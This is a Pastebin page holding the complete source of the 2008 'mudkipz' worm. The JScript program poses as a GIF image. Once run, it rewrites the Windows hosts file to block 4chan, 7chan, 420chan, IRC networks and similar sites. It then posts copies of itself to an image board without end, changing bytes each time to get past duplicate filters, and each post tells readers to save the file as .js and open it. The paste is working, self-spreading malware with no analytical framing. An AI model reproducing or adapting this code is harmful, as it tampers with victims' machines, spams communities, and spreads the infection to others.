Guest User

mudkipz

a guest
Aug 27th, 2008
13,477
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. GIF89a= "   p   1,இ~                                                                                                                                                                                                                                                                                                                                                                    ";
  2.  
  3. var targets = ["ns1.4chan.org", "ns2.4chan.org", "ns3.4chan.org", "www.4chan.org", "content.4chan.org", "orz.4chan.org", "tmp.4chan.org", "rs.4chan.org", "static.4chan.org", "zip.4chan.org", "bin.4chan.org", "dis.4chan.org", "img.4chan.org", "dat.4chan.org", "cgi.4chan.org", "nov.4chan.org", "4chan.org", "status.4chan.org", "4chanstatus.blogspot.com", "irc.rizon.net", "7chan.org", "www.7chan.org", "img.7chan.org", "dix.7chan.org", "irc.7chan.org", "420chan.org", "img.420chan.org", "disc.420chan.org", "irc.420chan.org", "blog.420chan.org", "radio.420chan.org", "711chan.org", "www.711chan.org", "irc.711chan.org", "99chan.org", "www.99chan.org", "irc.99chan.org", "12chan.org", "www.12chan.org", "img.12chan.org", "irc.12chan.org", "shii.org", "www.shii.org", "irc.partyvan.us", "irc.partyvan.fm", "irc.raidchan.org", "encyclopediadramatica.com", "www.encyclopediadramatica.com", "partyvan.eu", "www.partyvan.eu", "anontalk.com", "www.anontalk.com"];
  4.  
  5.  
  6.  
  7. // Character choices for random alphanumeric strings
  8.  
  9. var choices = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
  10.  
  11.  
  12.  
  13. // Last update time for front page
  14.  
  15. var modtime = null;
  16.  
  17.  
  18.  
  19. // Get copy of this script
  20.  
  21. var fs = WSH.createObject("Scripting.FileSystemObject");
  22.  
  23. var thisfile = fs.openTextFile(WSH.scriptFullName, 1);
  24.  
  25. var image = thisfile.readAll().replace(/\x01\x01\x01\x01.*?~/, "\x01\x01\x01\x01\u0b87~");
  26.  
  27. thisfile.close();
  28.  
  29.  
  30.  
  31. // Put copies of the script in System32 directory
  32.  
  33. try {
  34.  
  35.     var shell = WScript.CreateObject("WScript.Shell");
  36.  
  37.     var env = shell.environment("PROCESS");
  38.  
  39.     var winpath = env("SYSTEMROOT");
  40.  
  41.     var hostsfile = fs.openTextFile(winpath + "\\system32\\drivers\\etc\\hosts", 8);
  42.  
  43.     for (var i = 0; i < targets.length; i++) {
  44.  
  45.         hostsfile.writeLine("127.0.0.1       " + targets[i]);
  46.  
  47.     }
  48.  
  49.     hostsfile.close();
  50.  
  51.     shell.Run("ipconfig /flushdns");
  52.  
  53. } catch(e) {}
  54.  
  55.  
  56.  
  57. // Post it over and over
  58.  
  59. var comment = "1. Open this image.\r\n2. Save it as lol.js\r\n3. Open the file you just saved.\r\n4. ???\r\n5. Shit bricks.";
  60.  
  61. var filename = "lol.gif";
  62.  
  63. while (1) {
  64.  
  65.     try {
  66.  
  67.         // Modify "image" to get around duplicate image filter
  68.  
  69.         image = image.substr(0,image.length-20);
  70.  
  71.         for (var i = 0; i < 20; i++) {
  72.  
  73.             image = image + choices.charAt( Math.floor(Math.random()*choices.length) );
  74.  
  75.         }
  76.  
  77.  
  78.  
  79.         // Create XMLHttp request object
  80.  
  81.         var request = WSH.createObject("Msxml2.XMLHTTP");
  82.  
  83.  
  84.  
  85.         // Get a thread number
  86.  
  87.         request.open("get", "http://207.126.64.181/b/imgboard.html", 0);
  88.  
  89.         if (modtime != null) {
  90.  
  91.             request.setRequestHeader("If-Modified-Since", modtime);
  92.  
  93.         }
  94.  
  95.         request.send();
  96.  
  97.         modtime = request.getResponseHeader("Last-Modified");
  98.  
  99.         var threadlist = request.responseText.match(/<span id="nothread\d+/g);
  100.  
  101.         var thread = threadlist[ Math.floor(Math.random()*threadlist.length) ].match(/\d+/)[0];
  102.  
  103.  
  104.  
  105.         // Set site to post to
  106.  
  107.         request.open("post", "http://207.126.64.182/b/imgboard.php", 0);
  108.  
  109.  
  110.  
  111.         // Set headers
  112.  
  113.         var bdry = "";
  114.  
  115.         for (var i = 0; i < 20; i++) {
  116.  
  117.             bdry = bdry + choices.charAt( Math.floor(Math.random()*choices.length) );
  118.  
  119.         }
  120.  
  121.         request.setRequestHeader( "Referer", "http://img.4chan.org/b/res/" + thread + ".html" );
  122.  
  123.         request.setRequestHeader( "Content-Type", "multipart/form-data; boundary=" + bdry );
  124.  
  125.  
  126.  
  127.         // Generate random password
  128.  
  129.         var pwd = "";
  130.  
  131.         for (var i = 0; i < 8; i++) {
  132.  
  133.             pwd = pwd + choices.charAt( Math.floor(Math.random()*choices.length) );
  134.  
  135.         }
  136.  
  137.  
  138.  
  139.         // Send post
  140.  
  141.         var post = "--%b%cMAX_FILE_SIZE\"\r\n\r\n2097152\r\n"
  142.  
  143.             + "--%b%cresto\"\r\n\r\n" + thread + "\r\n"
  144.  
  145.             + "--%b%cname\"\r\n\r\n\r\n"
  146.  
  147.             + "--%b%cemail\"\r\n\r\nnoko\r\n"
  148.  
  149.             + "--%b%csub\"\r\n\r\n\r\n"
  150.  
  151.             + "--%b%ccom\"\r\n\r\n" + comment + "\r\n"
  152.  
  153.             + "--%b%cupfile\"; filename=\"" + filename + "\"\r\nContent-Type: image/gif\r\n\r\n";
  154.  
  155.         var post2 = "\r\n"
  156.  
  157.             + "--%b%cpwd\"\r\n\r\n" + pwd + "\r\n"
  158.  
  159.             + "--%b%cmode\"\r\n\r\nregist\r\n"
  160.  
  161.             + "--%b--\r\n";
  162.  
  163.         post = post.replace(/%b/g, bdry);
  164.  
  165.         post = post.replace(/%c/g, "\r\nContent-Disposition: form-data; name=\"");
  166.  
  167.         post2 = post2.replace(/%b/g, bdry);
  168.  
  169.         post2 = post2.replace(/%c/g, "\r\nContent-Disposition: form-data; name=\"");
  170.  
  171.         request.send(post + image + post2);
  172.  
  173.         WSH.sleep( 45000 + Math.floor(30000 * Math.random()) );
  174.  
  175.     } catch(e) {}
  176.  
  177. }
  178.  
  179.  
  180.  
  181. // 16Jck9k5ER3zAwlvwj6q
RAW Paste Data